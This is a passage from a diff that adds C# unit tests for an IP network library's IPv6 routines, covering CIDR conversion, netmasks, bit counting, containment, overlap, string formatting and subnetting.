+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr116() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:f000");
+            byte cidr = 116;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr115() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:e000");
+            byte cidr = 115;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr114() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:c000");
+            byte cidr = 114;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr113() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:8000");
+            byte cidr = 113;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr112() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            byte cidr = 112;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr111() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffe:0");
+            byte cidr = 111;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr110() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fffc:0");
+            byte cidr = 110;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        [TestMethod]
+        public void TestTryToCidr109() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff8:0");
+            byte cidr = 109;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr108() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:fff0:0");
+            byte cidr = 108;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr001() {
+
+            IPAddress mask = IPAddress.Parse("8000::");
+            byte cidr = 1;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+        [TestMethod]
+        public void TestTryToCidr000() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            byte cidr = 0;
+            byte? result = 0;
+            var parsed = IPNetwork.TryToCidr(mask, out result);
+
+            Assert.AreEqual(true, parsed, "parsed");
+            Assert.AreEqual(cidr, result, "cidr");
+        }
+
+        #endregion
+
+        #region ToBigInteger
+
+        [TestMethod]
+        public void TestToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::f");
+            uint uintMask = 0xf;
+            BigInteger result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::fff");
+            uint uintMask = 0xfff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ff");
+            uint uintMask = 0xff;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+        [TestMethod]
+        public void TestToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = IPNetwork.ToBigInteger(mask);
+
+            Assert.AreEqual(uintMask, result, "uint");
+        }
+    
+        #endregion
+
+        #region TryToBigInteger
+
+        [TestMethod]
+        public void TestTryToBigInteger32() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ffff");
+            uint uintMask = 0xffffffff;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger24() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:ff00");
+            uint uintMask = 0xffffff00;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger16() {
+
+            IPAddress mask = IPAddress.Parse("::ffff:0");
+            uint uintMask = 0xffff0000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger8() {
+
+            IPAddress mask = IPAddress.Parse("::ff00:0");
+            uint uintMask = 0xff000000;
+
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+        [TestMethod]
+        public void TestTryToBigInteger0() {
+
+            IPAddress mask = IPAddress.Parse("::");
+            uint uintMask = 0x00000000;
+            BigInteger? result = null;
+            bool parsed = IPNetwork.TryToBigInteger(mask, out result);
+
+            Assert.AreEqual(uintMask, result, "uint");
+            Assert.AreEqual(true, parsed, "parsed");
+        }
+
+        #endregion
+
+        #region TryToNetmask
+        [TestMethod]
+        public void TryToNetmask1() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(0, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TryToNetmask2() {
+            IPAddress result = null;
+            bool parsed = IPNetwork.TryToNetmask(33, Sockets.AddressFamily.InterNetworkV6, out result);
+            IPAddress expected = IPAddress.Parse("ffff:ffff:8000::");
+
+            Assert.AreEqual(expected, result, "Netmask");
+            Assert.AreEqual(true, parsed, "parsed");
+
+        }
+
+        #endregion
+
+        #region ToNetmask
+
+        [TestMethod]
+        public void ToNetmask128() {
+
+            byte cidr = 128;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask31() {
+
+            byte cidr = 127;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffe";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask30() {
+
+            byte cidr = 126;
+            string netmask = "ffff:ffff:ffff:ffff:ffff:ffff:ffff:fffc";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        public void ToNetmask1() {
+
+            byte cidr = 1;
+            string netmask = "8000::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+
+        [TestMethod]
+        public void ToNetmask0() {
+
+            byte cidr = 0;
+            string netmask = "::";
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+
+            Assert.AreEqual(netmask, result, "netmask");
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void ToNetmaskOORE1() {
+            byte cidr = 129;
+            string result = IPNetwork.ToNetmask(cidr, Sockets.AddressFamily.InterNetworkV6).ToString();
+        }
+
+        #endregion
+
+        #region ValidNetmask
+
+        [TestMethod]
+        public void TestValidNetmask0() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmask2() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            bool expected = true;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+
+        [TestMethod]
+        public void TestValidNetmaskEAE1() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:ffff");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        [TestMethod]
+        public void TestValidNetmaskEAE3() {
+
+            IPAddress mask = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:0000:0001");
+            bool expected = false;
+            bool result = IPNetwork.ValidNetmask(mask);
+
+            Assert.AreEqual(expected, result, "ValidNetmask");
+        }
+
+        #endregion
+
+        #region BitsSet
+
+        [TestMethod]
+        public void TestBitsSet128() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff");
+            uint bits = 128;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet120() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:fff0");
+            uint bits = 124;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet16() {
+
+            IPAddress ip = IPAddress.Parse("ffff:ffff:ffff:ffff:ffff:ffff:ffff:0000");
+            uint bits = 112;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+        [TestMethod]
+        public void TestBitsSet4() {
+
+            IPAddress ip = IPAddress.Parse("f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0:f0f0");
+            uint bits = 64;
+            uint result = IPNetwork.BitsSet(ip);
+
+            Assert.AreEqual(bits, result, "BitsSet");
+
+        }
+
+        #endregion
+
+        #region Contains
+
+        [TestMethod]
+        public void TestContains1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8:0:1::");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/64");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        public void TestContains5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8:1::/65");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+
+        [TestMethod]
+        public void TestContains6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::/63");
+
+            bool result = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "contains");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestContains10()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::/0");
+            IPAddress ipaddress = null;
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+
+        }
+
+        [TestMethod]
+        public void TestContains11_different_adress_family_returns_false()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::1"); // IPv6
+            IPAddress ipaddress = IPAddress.Parse("127.0.0.1"); // IPv4
+
+            bool result = IPNetwork.Contains(ipnetwork, ipaddress);
+            Assert.AreEqual(false, result, "contains");
+
+        }
+
+        #endregion
+
+        #region Overlap
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestOverlap2() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/0");
+            IPNetwork network2 = null;
+            IPNetwork.Overlap(network1, network2);
+        }
+
+        [TestMethod]
+        public void TestOverlap3() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8::/64");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap4() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:0:1::/65");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap5() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/68");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = false;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        [TestMethod]
+        public void TestOverlap6() {
+            IPNetwork network1 = IPNetwork.Parse("2001:0db8:0:1::/68");
+            IPNetwork network2 = IPNetwork.Parse("2001:0db8:0:2::/62");
+            bool result = IPNetwork.Overlap(network1, network2);
+            bool expected = true;
+
+            Assert.AreEqual(expected, result, "overlap");
+        }
+
+        #endregion
+
+        #region Examples
+
+        public void Example1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+        public void Example2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8::/64");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:0db8::1");
+            IPAddress ipaddress2 = IPAddress.Parse("2001:0db9::1");
+
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db8::1/128");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("2001:0db9::1/64");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+            bool contains3 = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool contains4 = IPNetwork.Contains(ipnetwork, ipnetwork3);
+
+            bool overlap1 = IPNetwork.Overlap(ipnetwork, ipnetwork2);
+            bool overlap2 = IPNetwork.Overlap(ipnetwork, ipnetwork3);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork2, contains3);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork3, contains4);
+
+
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork2, overlap1);
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork3, overlap2);
+
+
+        }
+
+        public void Example4() {
+            IPNetwork wholeInternet = IPNetwork.Parse("::/0");
+            byte newCidr = 2;
+            IPNetworkCollection subneted = IPNetwork.Subnet(wholeInternet, newCidr);
+
+            Console.WriteLine("{0} was subnetted into {1} subnets", wholeInternet, subneted.Count);
+            Console.WriteLine("First: {0}", subneted[0]);
+            Console.WriteLine("Last : {0}", subneted[subneted.Count - 1]);
+            Console.WriteLine("All  :");
+
+            foreach (IPNetwork ipnetwork in subneted) {
+                Console.WriteLine("{0}", ipnetwork);
+            }
+        }
+        
+        public void Example5() {
+            IPNetwork ipnetwork1 = IPNetwork.Parse("2001:0db8::/64");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("2001:0db9::/64");
+            IPNetwork[] ipnetwork3 = IPNetwork.Supernet(new[] { ipnetwork1, ipnetwork2 });
+
+            Console.WriteLine("{0} + {1} = {2}", ipnetwork1, ipnetwork2, ipnetwork3[0]);
+
+        }
+        public void Example6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("fe80::202:b3ff:fe1e:8329/24");
+
+            IPAddress ipaddress = IPAddress.Parse("2001:db8::");
+            IPAddress ipaddress2 = IPAddress.Parse("fe80::202:b3ff:fe1e:1");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+
+        }
+
+
+
+        public void Example8() {
+
+            IPNetwork network = IPNetwork.Parse("::/124");
+            IPNetworkCollection ips = IPNetwork.Subnet(network, 128);
+
+            foreach (IPNetwork ip in ips) {
+                Console.WriteLine("{0}", ip);
+            }
+        }
+
+        
+        #endregion
+
+        #region ToString
+
+
+        [TestMethod]
+        public void TestToString() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:0000:0000:0000:0000:0000:0000/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/32");
+            string expected = "2001:db8::/32";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/64");
+            string expected = "2001:db8:1:2::/64";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:0db8:1:2:3:4:5:6/100");
+            string expected = "2001:db8:1:2:3:4::/100";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        #endregion
+
+
+        #region Subnet
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 129;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("::");
+            byte cidr = 1;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("1:1:1:1:2000::/68", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("1:1:1:1:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("1:1:1:1:4000::/68", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("1:1:1:1:5000::/68", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("1:1:1:1:6000::/68", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("1:1:1:1:7000::/68", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("1:1:1:1:8000::/68", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("1:1:1:1:9000::/68", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("1:1:1:1:a000::/68", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("1:1:1:1:b000::/68", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("1:1:1:1:c000::/68", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("1:1:1:1:d000::/68", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("1:1:1:1:e000::/68", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("1:1:1:1:f000::/68", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet7() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("1:1:1:1:1:1:1:1");
+            byte cidr = 72;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("1:1:1:1::/72", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("1:1:1:1:ff00::/72", subnets[255].ToString(), "subnet256");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet9() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08:1:1:1:1:1:1");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, ipnetwork.Cidr);
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("2001:db08:1:1::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db08:1:1::ff/128", subnets[255].ToString(), "subnet256");
+            Assert.AreEqual("2001:db08:1:1:ffff:ffff:ffff:ffff/128", subnets[count-1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet10() {
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/0");
+            byte cidr = 128;
+            var count = BigInteger.Pow(2, 128-ipnetwork.Cidr);
+
+            // Here I spawm a OOM dragon ! beware of the beast !
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(count, subnets.Count, "count");
+            Assert.AreEqual("::/128", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff/128", subnets[count - 1].ToString(), "last");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet12() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            int i = -1;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            foreach (IPNetwork ipn in subnets) {
+                i++;
+                Assert.AreEqual(subnets[i], ipn, "subnet");
+            }
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet13()
+        {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 70;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            IPNetwork error = subnets[1000];
+
+        }
+
+
+
+        [TestMethod]
+        public void TestSubnet14()
+        {
+
+            IPNetwork network = IPNetwork.Parse("15.0.0.0/8");
+            var subnets = IPNetwork.Subnet(network, (byte)12);
+            Assert.AreEqual(subnets[0].ToString(), "15.0.0.0/12", "subnets[0]");
+            Assert.AreEqual(subnets[1].ToString(), "15.16.0.0/12", "subnets[1]");
+            Assert.AreEqual(subnets[2].ToString(), "15.32.0.0/12", "subnets[2]");
+            Assert.AreEqual(subnets[15].ToString(), "15.240.0.0/12", "subnets[15]");
+
+            foreach (IPNetwork ipn in subnets)
+            {
+                Console.WriteLine(ipn);
+            }
+        }
+
+
+
+        #endregion
+
+        #region TrySubnet
+
+
+        [TestMethod]
+        public void TestTrySubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 255;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db08::/64");
+            byte cidr = 63;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 65;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/65", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:8000::/65", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("2001:db8::/64");
+            byte cidr = 68;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("2001:db8::/68", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("2001:db8:0:0:1000::/68", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("2001:db8:0:0:2000::/68", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("2001:db8:0:0:3000::/68", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("2001:db8:0:0:4000::/68", subnets[4].ToString(), "subnet5");
